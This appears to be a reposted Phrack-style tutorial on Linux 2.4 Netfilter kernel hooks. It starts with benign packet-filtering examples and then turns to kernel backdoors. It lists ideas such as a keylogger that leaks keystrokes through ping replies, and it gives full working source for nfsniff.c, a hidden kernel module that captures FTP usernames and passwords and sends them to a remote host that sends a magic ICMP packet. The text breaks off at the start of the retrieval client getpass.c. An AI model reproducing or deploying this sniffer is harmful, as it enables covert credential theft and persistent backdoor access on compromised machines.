您的位置:首页 > 运维架构 > Linux

Hacking the Linux Kernel Network Stack

2011-08-01 10:28 477 查看
Table of Contents

1 - Introduction

1.1 - What this document is

1.2 - What this document is not

2 - The various Netfilter hooks and their uses

2.1 - The Linux kernel's handling of packets

2.2 - The Netfilter hooks for IPv4

3 - Registering and unregistering Netfilter hooks

4 - Packet filtering operations with Netfilter

4.1 - A closer look at hook functions

4.2 - Filtering by interface

4.3 - Filtering by address

4.4 - Filtering by TCP port

5 - Other possibilities for Netfilter hooks

5.1 - Hidden backdoor daemons

5.2 - Kernel based FTP password sniffer

5.2.1 - The code... nfsniff.c

5.2.2 - getpass.c

6 - Hiding network traffic from Libpcap

6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

6.2 - Wrapping the cloak around the dagger

7 - Conclusion

A - Light-Weight Fire Wall

A.1 - Overview

A.2 - The source... lwfw.c

A.3 - lwfw.h

B - Code for section 6

--[ 1 - Introduction

This article describes how quirks (not necessarily weaknesses) in the

Linux network stack can be used for various purposes, nefarious or otherw-

ise. Presented here will be a discussion on using seemingly legitimate

Netfilter hooks for backdoor communications and also a technique to hide

such traffic from a Libpcap based sniffer running on the local machine.

Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes

such network tricks as packet filtering, network address translation

(NAT) and connection tracking possible through the use of various hooks in

the kernel's network code. These hooks are places that kernel code, either

statically built or in the form of a loadable module, can register

functions to be called for specific network events. An example of such an

event is the reception of a packet.

----[ 1.1 - What this document is

This document discusses how a module writer can make use of the Netfilter

hooks for whatever purposes and also how network traffic can be hidden

from a Libpcap application. Although Linux 2.4 supports hooks for IPv4,

IPv6 and DECnet, only IPv4 will be discussed in this document. However,

most of the IPv4 content can be applied to the other protocols. As an aide

to teaching, a working kernel module that provides basic packet filtering

is provided in Appendix A. Any development/experimentation done for this

document was done on an Intel machine running Linux 2.4.5. Testing the

behaviour of Netfilter hooks was done using the loopback device, an

Ethernet device and a modem Point-to-Point interface.

This document is also written for my benefit in an attempt to fully

understand Netfilter. I do not guarantee that any code accompanying this

document is 100% error free but I have tested all code provided here. I

have suffered the kernel faults so hopefully you won't have to. Also, I

do not accept any responsibility for damages that may occur through

following this document. It is expected that the reader be comfortable with

the C programming language and have some experience with Loadable Kernel

Modules.

If I have made a mistake in something presented here then please let me

know. I am also open to suggestions on either improving this document or

other nifty Netfilter tricks in general.

----[ 1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It

is also *not* a reference for the iptables command. If you want to learn

more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...

--[ 2 - The various Netfilter hooks and their uses

----[ 2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of

packets and the events preceeding and following each Netfilter hook, I

won't. The simple reason is that Harald Welte has already written a nice

document on the subject, his Journey of a Packet Through the Linux 2.4

Network Stack document. To learn more on Linux's handling of packets, I

strongly suggest that you read this document as well. For now, just

understand that as a packet moves through the Linux kernel's network stack

it crosses several hook locations where packets can be analysed and kept

or discarded. These are the Netfilter hooks.

------[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4. The declaration of the symbols for

these can be found in linux/netfilter_ipv4.h. These hooks are displayed

in the table below:

Table 1: Available IPv4 hooks

Hook Called

NF_IP_PRE_ROUTING After sanity checks, before routing decisions.

NF_IP_LOCAL_IN After routing decisions if packet is for this host.

NF_IP_FORWARD If the packet is destined for another interface.

NF_IP_LOCAL_OUT For packets coming from local processes on

their way out.

NF_IP_POST_ROUTING Just before outbound packets "hit the wire".

The NF_IP_PRE_ROUTING hook is called as the first hook after a packet

has been received. This is the hook that the module presented later will

utilise. Yes the other hooks are very useful as well, but for now we

will focus only on NF_IP_PRE_ROUTING.

After hook functions have done whatever processing they need to do with

a packet they must return one of the predefined Netfilter return codes.

These codes are:

Table 2: Netfilter return codes

Return Code Meaning

NF_DROP Discard the packet.

NF_ACCEPT Keep the packet.

NF_STOLEN Forget about the packet.

NF_QUEUE Queue packet for userspace.

NF_REPEAT Call this hook function again.

The NF_DROP return code means that this packet should be dropped

completely and any resources allocated for it should be released.

NF_ACCEPT tells Netfilter that so far the packet is still acceptable and

that it should move to the next stage of the network stack. NF_STOLEN is

an interesting one because it tells Netfilter to "forget" about the packet.

What this tells Netfilter is that the hook function will take processing

of this packet from here and that Netfilter should drop all processing of

it. This does not mean, however, that resources for the packet are

released. The packet and it's respective sk_buff structure are still valid,

it's just that the hook function has taken ownership of the packet away

from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE

really does so for now I won't discuss it. The last return value,

NF_REPEAT requests that Netfilter calls the hook function again. Obviously

one must be careful using NF_REPEAT so as to avoid an endless loop.

--[ 3 - Registering and unregistering Netfilter hooks

Registration of a hook function is a very simple process that revolves

around the nf_hook_ops structure, defined in linux/netfilter.h. The

definition of this structure is as follows:

struct nf_hook_ops {

struct list_head list;

/* User fills in from here down. */

nf_hookfn *hook;

int pf;

int hooknum;

/* Hooks are ordered in ascending priority. */

int priority;

};

The list member of this structure is used to maintain the lists of

Netfilter hooks and has no importance for hook registration as far as users

are concerned. hook is a pointer to a nf_hookfn function. This is the

function that will be called for the hook. nf_hookfn is defined in

linux/netfilter.h as well. The pf field specifies a protocol family. Valid

protocol families are available from linux/socket.h but for IPv4 we want to

use PF_INET. The hooknum field specifies the particular hook to install

this function for and is one of the values listed in table 1. Finally, the

priority field specifies where in the order of execution this hook function

should be placed. For IPv4, acceptable values are defined in

linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the

purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration of a Netfilter hook requires using a nf_hook_ops structure

with the nf_register_hook() function. nf_register_hook() takes the address

of an nf_hook_ops structure and returns an integer value. However, if you

actually look at the code for the nf_register_hook() function in

net/core/netfilter.c, you will notice that it only ever returns a value of

zero. Provided below is example code that simply registers a function that

will drop all packets that come in. This code will also show how the

Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook

/* Sample code to install a Netfilter hook function that will

* drop all incoming packets. */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

return NF_DROP; /* Drop ALL packets */

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func; /* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf = PF_INET;

nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

That's all there is to it. From the code given in listing 1 you can see

that unregistering a Netfilter hook is a simple matter of calling

nf_unregister_hook() with the address of the same structure you used to

register the hook.

--[ 4 - Basic packet filtering techniques with Netfilter

----[ 4.1 - A closer look at hook functions

Now its time to start looking at what data gets passed into hook

functions and how that data an be used to make filtering decisions. So

let's look more closely at the prototype for nf_hookfn functions. The

prototype is given in linux/netfilter.h as follows:

typedef unsigned int nf_hookfn(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *));

The first argument to nf_hookfn functions is a value specifying one of

the hook types given in table 1. The second argument is more interesting.

It is a pointer to a pointer to a sk_buff structure, the structure used

by the network stack to describe packets. This structure is defined in

linux/skbuff.h and due to its size, I shall only highlight some of it's

more interesting fields here.

Possibly the most useful fields out of sk_buff structures are the three

unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the

network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet

or RAW). The names of these unions are h, nh and mac respectively. These

unions contain several structures, depending on what protocols are in use

in a particular packet. One should note that the transport header and

network header may very well point to the same location in memory. This

is the case for TCP packets where h and nh are both considered as

pointers to IP header structures. This means that attempting to get a

value from h->th thinking it's pointing to the TCP header will result in

false results because h->th will actually be pointing to the IP header,

just like nh->iph.

Other fields of immediate interest are the len and data fields. len

specifies the total length of the packet data beginning at data. So now

we know how to access individual protocol headers and the packet data

itself from a sk_buff structure. What other interesting bits of

information are available to Netfilter hook functions?

The two arguments that come after skb are pointers to net_device

structures. net_device structures are what the Linux kernel uses to

describe network interfaces of all sorts. The first of these structures,

in, is used to describe the interface the packet arrived on. Not

surprisingly, the out structure describes the interface the packet is

leaving on. It is important to realise that usually only one of these

structures will be provided. For instance, in will only be provided for

the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided

for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I

haven't tested which of these structures are available for the

NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before

attempting to dereference them you should be fine.

Finally, the last item passed into a hook function is a function pointer

called okfn that takes a sk_buff structure as its only argument and

returns an integer. I'm not too sure on what this function does. Looking

in net/core/netfilter.c there are two places where this okfn is called.

These two places are in the functions nf_hook_slow() and nf_reinject()

where at a certain place this function is called on a return value of

NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn

please let me know.

Now that we've looked at the most interesting and useful bits of informa-

tion that our hook functions receive, it's time to look at how we can use

that information to filter packets in a variety of ways.

----[ 4.2 - Filtering by interface

This would have to be the simplest filtering technique we can do.

Remember those net_device structures our hook function received? Using

the name field from the relevant net_device structure allows us to drop

packets depending on their source interface or destination interface. To

drop all packets that arrive on interface eth0 all one has to do is

compare the value of in->name with "eth0". If the names match then the

hook function simply returns NF_DROP and the packet is destroyed. It's as

easy as that. Sample code to do this is provided in listing 2 below. Note

that the Light-Weight FireWall module will provide simple examples of

all the filtering methods presented here. It also includes an IOCTL

interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will

* drop all incoming packets on an interface we specify */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* Name of the interface we want to drop packets from */

static char *drop_if = "lo";

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

if (strcmp(in->name, drop_if) == 0) {

printk("Dropped packet on %s...\n", drop_if);

return NF_DROP;

} else {

return NF_ACCEPT;

}

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func; /* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf = PF_INET;

nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

Now isn't that simple? Next, let's have a look at filtering based on IP

addresses.

----[ 4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their

source or destination IP address is very simple. This time we are

interested in the sk_buff structure. Now remember that the skb argument

is a pointer to a pointer to a sk_buff structure. To avoid running into

problems it is good practice to declare a seperate pointer to a sk_buff

structure and assign the value pointed to by skb to this newly declared

pointer. Like so:

struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /

Now you only have to dereference once to access items in the structure.

Obtaining the IP header for a packet is done using the network layer header

from the the sk_buff structure. This header is contained in a union and can

be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how

to check the source IP address of a received packet against an address to

deny when given a sk_buff for the packet. This code has been pulled

directly from LWFW. The only difference is that the update of LWFW

statistics has been removed.

Listing 3. Checking source IP of a received packet

unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */

...

static int check_ip_packet(struct sk_buff *skb)

{

/* We don't want any NULL pointers in the chain to

* the IP header. */

if (!skb )return NF_ACCEPT;

if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {

return NF_DROP;

}

return NF_ACCEPT;

}

Now if the source address matches the address we want to drop packets from

then the packet is dropped. For this function to work as presented the

value of deny_ip should be stored in Network Byte Order (Big-endian,

opposite of Intel). Although it's unlikely that this function will be

called with a NULL pointer for it's argument, it never hurts to be a

little paranoid. Of course if an error does occur then the function will

return NF_ACCEPT so that Netfilter can continue processing the packet.

Listing 4 presents the simple module used to demonstrate interface based

filtering changed so that it drops packets that match a particular IP

address.

Listing 4. Filtering packets based on their source address

/* Sample code to install a Netfilter hook function that will

* drop all incoming packets from an IP address we specify */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/ip.h> /* For IP header */

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* IP address we want to drop packets from, in NB order */

static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

if (sb->nh.iph->saddr == drop_ip) {

printk("Dropped packet from... %d.%d.%d.%d\n",

*drop_ip, *(drop_ip + 1),

*(drop_ip + 2), *(drop_ip + 3));

return NF_DROP;

} else {

return NF_ACCEPT;

}

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func;

/* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */

nfho.pf = PF_INET;

nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

----[ 4.4 - Filtering by TCP port

Another simple rule to implement is the filtering of packets based on

their TCP destination port. This is only a bit more fiddly than checking

IP addresses because we need to create a pointer to the TCP header

ourselves. Remember what was discussed earlier about transport headers

and network headers? Getting a pointer to the TCP header is a simple

matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)

and pointing after the IP header in our packet data. Perhaps an example

would help. Listing 5 presents code to check if the destination TCP port

of a packet matches some port we want to drop all packets for. As with

listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet

unsigned char *deny_port = "\x00\x19"; /* port 25 */

...

static int check_tcp_packet(struct sk_buff *skb)

{

struct tcphdr *thead;

/* We don't want any NULL pointers in the chain

* to the IP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */

if (skb->nh.iph->protocol != IPPROTO_TCP) {

return NF_ACCEPT;

}

thead = (struct tcphdr *)(skb->data +

(skb->nh.iph->ihl * 4));

/* Now check the destination port */

if ((thead->dest) == *(unsigned short *)deny_port) {

return NF_DROP;

}

return NF_ACCEPT;

}

Very simple indeed. Don't forget that for this function to work deny_port

should be in network byte order. That's it for packet filtering basics,

you should have a fair understanding of how to get to the information you

want for a specific packet. Now it's time to move onto more interesting

stuff.

--[ 5 - Other possibilities for Netfilter hooks

Here I'll make some proposals for other cool stuff to do with Netfilter

hooks. Section 5.1 will simply provide food for thought, while section 5.2

shall discuss and provide working code for a kernel based FTP password

sniffer with remote password retrieval that really does work. It fact it

works so well it scares me, and I wrote it.

----[ 5.1 - Hidden backdoor daemons

Kernel module programming would have to be one of the most interesting

areas of development for Linux. Writing code in the kernel means you are

writing code in a place where you are limited only by your imagination.

From a malicous point of view you can hide files, processes, and do all

sorts of cool things that any rootkit worth its salt is capable of. Then

from a not-so-malicious point of view (yes people with this point of view

do exist) you can hide files, processes and do all sorts of cool things.

The kernel really is a fascinating place.

Now with all the power made available to a kernel level programmer, there

are a lot of possibilities. Possibly one of the most interesting (and

scary for system administrators) is the possibility of backdoors built

right into the kernel. Afterall, if a backdoor doesn't run as a process

then how do you know it's running? Of course there are ways of making your

kernel cough-up such backdoors, but they are by no means as easy and

simple as running ps. Now the idea of putting backdoor code into a kernel

is not new. What I'm proposing here, however, is placing simple network

services as kernel backdoors using, you guessed it, Netfilter hooks.

If you have the necessary skills and willingness to crash your kernel in

the name of experimentation, then you can construct simple but useful

network services located entirely in the kernel and accessible remotely.

Basically a Netfilter hook could watch incoming packets for a "magic"

packet and when that magic packet is received, do something special.

Results can then be sent from the Netfilter hook and the hook function can

return NF_STOLEN so that the received "magic" packet goes no further. Note

however, that when sending in such a fassion, outgoing packets will still

be visible on the outbound Netfilter hooks. Therefore userspace is totally

unaware that the magic packet ever arrived, but they can still see

whatever you send out. Beware! Just because a sniffer on a compromised host

can't see the packet, doesn't mean that a sniffer on an intermediate host

can't see the packet.

kossak and lifeline wrote an excellent article for Phrack describing how

such things could be done by registering packet type handlers. Although

this document deals with Netfilter hooks I still suggest reading their

article (Issue 55, file 12) as it is a very interesting read with some

very interesting ideas being presented.

So what kind of work could a backdoor Netfilter hook do? Well, here are

some suggestions:

-- Remote access key-logger. Module logs keystrokes and results are

sent to a remote host when that host sends a PING request. So a

stream of keystroke information could be made to look like a steady

(don't flood) stream of PING replies. Of course one would want to

implement a simple encryption so that ASCII keys don't show

themselves immediately and some alert system administrator goes

"Hang on. I typed that over my SSH session before! Oh $%@T%&!".

-- Various simple administration tasks such as getting lists of who is

currently logged onto the machine or obtaining information about

open network connections.

-- Not really a backdoor as such, but a module that sits on a network

perimeter and blocks any traffic suspected to come from trojans,

ICMP covert channels or file sharing tools like KaZaa.

-- File transfer "server". I have implemented this idea recently. The

resulting LKM is hours of fun :).

-- Packet bouncer. Redirects packets aimed at a special port on the

backdoored host to another IP host and port and sends packets from

that host back to the initiator. No process being spawned and best of

all, no network socket being opened.

-- Packet bouncer as described above used to communicate with critical

systems on a network in a semi-covert manner. Eg. configuring routers

and such.

-- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save

the information until a magic packet comes in asking for it.

Well that's a short list of ideas. The last one will actually be discussed

in more detail in the next section as it provides a nice oppurtunity to look

at some more functions internal to the kernel's network code.

----[ 5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter

backdoor. This module will sniff outgoing FTP packets looking for a USER

and PASS command pair for an FTP server. When a pair is found the module

will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return

the server's IP address and the username and password. Also provided is a

quick hack that sends a magic packet, gets a reply then prints the returned

information. Once a username/password pair has been read from the module it

will then look for the next pair. Note that only one pair will be stored by

the module at one time. Now that a brief overview has been provided, it's

time to present a more detailed look at how the module does its thing.

When loaded, the module's init_module() function simply registers two

Netfilter hooks. The first one is used to watch incoming traffic (on

NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next

one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING)

the module is installed on. This is where the search and capture of FTP

USER and PASS packets happens. The cleanup_module() procedure simply

unregisters these two hooks.

watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at

this function you can see that it is very simple in operation. When a

packet enters the function it is run through various checks to be sure it's

an FTP packet. If it's not then a value of NF_ACCEPT is returned

immediately. If it is an FTP packet then the module checks to be sure that

it doesn't already have a username and password pair already queued. If it

does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned

and the packet can finally leave the system. Otherwise, the check_ftp()

procedure is called. This is where extraction of passwords actually takes

place. If no previous packets have been received then the target_ip and

target_port variables should be cleared.

check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the

beginning of the packet. Note that PASS commands will not be processed

until a USER command has been processed. This prevents deadlock that occurs

if for some reason a PASS command is received first and the connection

breaks before USER arrives. Also, if a QUIT command arrives and only a

username has been captured then things are reset so sniffing can start over

on a new connection. When a USER or PASS command arrives, if the necessary

sanity checks are passed then the argument to the command is copied. Just

before check_ftp() finishes under normal operations, it checks to see if it

now has a valid username and password string. If it does then have_pair is

set and no more usernames or passwords will be grabbed until the current

pair is retrieved.

So far you have seen how this module installs itself and begins looking for

usernames and passwords to log. Now you shall see what happens when the

specially formatted "magic" packet arrives. Pay particular attention here

because this is where the most problems arose during development. 16 kernel

faults if I remember correctly :). When packets come into the machine with

this module installed, watch_in() checks each one to see if it is a magic

packet. If it does not pass the necessary requirements to be considered

magic, then the packet is ignored by watch_in() who simply returns

NF_ACCEPT. Notice how one of the criteria for magic packets is that they

have enough room to hold the IP address and username and password strings.

This is done to make sending the reply easier. A fresh sk_buff could have

been allocated, but getting all of the necessary fields right can be

difficult and you have to get them right! So instead of creating a new

structure for our reply packet, we simply tweak the request packet's

structure. To return the packet successfully, several changes need to be

made. Firstly, the IP addresses are swapped around and the packet type

field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING

which is defined in linux/if_packet.h. The next thing to take care of is

making sure any link layer headers are included. The data field of our

received packet's sk_buff points after the link layer header and it is the

data field that points to the beginning of packet data to be transmitted.

So for interfaces that require the link layer header (Ethernet and Loopback

Point-to-Point is raw) we point the data field to the mac.ethernet or

mac.raw structures. To determine what type of interface this packet came in

on, you can check the value of sb->dev->type where sb is a pointer to a

sk_buff structure. Valid values for this field can be found in

linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code Interface Type

ARPHRD_ETHER Ethernet

ARPHRD_LOOPBACK Loopback device

ARPHRD_PPP Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our

reply. It's now time to send the packet. The dev_queue_xmit() function

takes a pointer to a sk_buff structure as it's only argument and returns a

negative errno code on a nice failure. What do I mean by nice failure?

Well, if you give dev_queue_xmit() a badly constructed socket buffer then

you will get a not-so-nice failure. One that comes complete with kernel

fault and kernel stack dump information. See how failures can be splt into

two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter

to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return

NF_DROP if you have called dev_queue_xmit()! If you do then you will

quickly get a nasty kernel fault. This is because dev_queue_xmit() will

free the passed in socket buffer and Netfilter will attempt to do the same

with an NF_DROPped packet. Well that's enough discussion on the code, it's

now time to actually see the code.

------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c

/* Simple proof-of-concept for kernel-based FTP password sniffer.

* A captured Username and Password pair are sent to a remote host

* when that host sends a specially formatted ICMP packet. Here we

* shall use an ICMP_ECHO packet whose code field is set to 0x5B

* *AND* the packet has enough

* space after the headers to fit a 4-byte IP address and the

* username and password fields which are a max. of 15 characters

* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge, March 2003 */

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/icmp.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/if_packet.h>

#define MAGIC_CODE 0x5B

#define REPLY_SIZE 36

#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \

- sizeof(struct iphdr) \

- sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until

* they are queried. Only one USER/PASS pair will be held at one

* time and will be cleared once queried. */

static char *username = NULL;

static char *password = NULL;

static int have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the

* same IP address and TCP port. */

static unsigned int target_ip = 0;

static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */

struct nf_hook_ops pre_hook; /* Incoming */

struct nf_hook_ops post_hook; /* Outgoing */

/* Function that looks at an sk_buff that is known to be an FTP packet.

* Looks for the USER and PASS fields and makes sure they both come from

* the one host as indicated in the target_xxx fields */

static void check_ftp(struct sk_buff *skb)

{

struct tcphdr *tcp;

char *data;

int len = 0;

int i = 0;

tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

data = (char *)((int)tcp + (int)(tcp->doff * 4));

/* Now, if we have a username already, then we have a target_ip.

* Make sure that this packet is destined for the same host. */

if (username)

if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)

return;

/* Now try to see if this is a USER or PASS packet */

if (strncmp(data, "USER ", 5) == 0) { /* Username */

data += 5;

if (username) return;

while (*(data + i) != '\r' && *(data + i) != '\n'

&& *(data + i) != '\0' && i < 15) {

len++;

i++;

}

if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)

return;

memset(username, 0x00, len + 2);

memcpy(username, data, len);

*(username + len) = '\0'; /* NULL terminate */

} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */

data += 5;

/* If a username hasn't been logged yet then don't try logging

* a password */

if (username == NULL) return;

if (password) return;

while (*(data + i) != '\r' && *(data + i) != '\n'

&& *(data + i) != '\0' && i < 15) {

len++;

i++;

}

if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)

return;

memset(password, 0x00, len + 2);

memcpy(password, data, len);

*(password + len) = '\0'; /* NULL terminate */

} else if (strncmp(data, "QUIT", 4) == 0) {

/* Quit command received. If we have a username but no password,

* clear the username and reset everything */

if (have_pair) return;

if (username && !password) {

kfree(username);

username = NULL;

target_port = target_ip = 0;

have_pair = 0;

return;

}

} else {

return;

}

if (!target_ip)

target_ip = skb->nh.iph->daddr;

if (!target_port)

target_port = tcp->source;

if (username && password)

have_pair++; /* Have a pair. Ignore others until

* this pair has been read. */

// if (have_pair)

// printk("Have password pair! U: %s P: %s\n", username, password);

}

/* Function called as the POST_ROUTING (last) hook. It will check for

* FTP traffic then search that traffic for USER and PASS commands. */

static unsigned int watch_out(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

struct tcphdr *tcp;

/* Make sure this is a TCP packet first */

if (sb->nh.iph->protocol != IPPROTO_TCP)

return NF_ACCEPT; /* Nope, not TCP */

tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

/* Now check to see if it's an FTP packet */

if (tcp->dest != htons(21))

return NF_ACCEPT; /* Nope, not FTP */

/* Parse the FTP packet for relevant information if we don't already

* have a username and password pair. */

if (!have_pair)

check_ftp(sb);

/* We are finished with the packet, let it go on its way */

return NF_ACCEPT;

}

/* Procedure that watches incoming ICMP traffic for the "Magic" packet.

* When that is received, we tweak the skb structure to send a reply

* back to the requesting host and tell Netfilter that we stole the

* packet. */

static unsigned int watch_in(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

struct icmphdr *icmp;

char *cp_data; /* Where we copy data to in reply */

unsigned int taddr; /* Temporary IP holder */

/* Do we even have a username/password pair to report yet? */

if (!have_pair)

return NF_ACCEPT;

/* Is this an ICMP packet? */

if (sb->nh.iph->protocol != IPPROTO_ICMP)

return NF_ACCEPT;

icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

/* Is it the MAGIC packet? */

if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO

|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {

return NF_ACCEPT;

}

/* Okay, matches our checks for "Magicness", now we fiddle with

* the sk_buff to insert the IP address, and username/password pair,

* swap IP source and destination addresses and ethernet addresses

* if necessary and then transmit the packet from here and tell

* Netfilter we stole it. Phew... */

taddr = sb->nh.iph->saddr;

sb->nh.iph->saddr = sb->nh.iph->daddr;

sb->nh.iph->daddr = taddr;

sb->pkt_type = PACKET_OUTGOING;

switch (sb->dev->type) {

case ARPHRD_PPP: /* No fiddling needs doing */

break;

case ARPHRD_LOOPBACK:

case ARPHRD_ETHER:

{

unsigned char t_hwaddr[ETH_ALEN];

/* Move the data pointer to point to the link layer header */

sb->data = (unsigned char *)sb->mac.ethernet;

sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);

memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);

memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),

ETH_ALEN);

memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

break;

}

};

/* Now copy the IP address, then Username, then password into packet */

cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));

memcpy(cp_data, &target_ip, 4);

if (username)

memcpy(cp_data + 4, username, 16);

if (password)

memcpy(cp_data + 20, password, 16);

/* This is where things will die if they are going to.

* Fingers crossed... */

dev_queue_xmit(sb);

/* Now free the saved username and password and reset have_pair */

kfree(username);

kfree(password);

username = password = NULL;

have_pair = 0;

target_port = target_ip = 0;

// printk("Password retrieved\n");

return NF_STOLEN;

}

int init_module()

{

pre_hook.hook = watch_in;

pre_hook.pf = PF_INET;

pre_hook.priority = NF_IP_PRI_FIRST;

pre_hook.hooknum = NF_IP_PRE_ROUTING;

post_hook.hook = watch_out;

post_hook.pf = PF_INET;

post_hook.priority = NF_IP_PRI_FIRST;

post_hook.hooknum = NF_IP_POST_ROUTING;

nf_register_hook(&pre_hook);

nf_register_hook(&post_hook);

return 0;

}

void cleanup_module()

{

nf_unregister_hook(&post_hook);

nf_unregister_hook(&pre_hook);

if (password)

kfree(password);

if (username)

kfree(username);

}

<-->

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c

/* getpass.c - simple utility to get username/password pair from

* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.

* Mostly stripped from my source for InfoPig.

*

* Written by bioforge - March 2003 */

#include <sys/types.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <sys/socket.h>

#include <netdb.h>

#include <arpa/inet.h>

#ifndef __USE_BSD

# define __USE_BSD /* We want the proper headers */

#endif
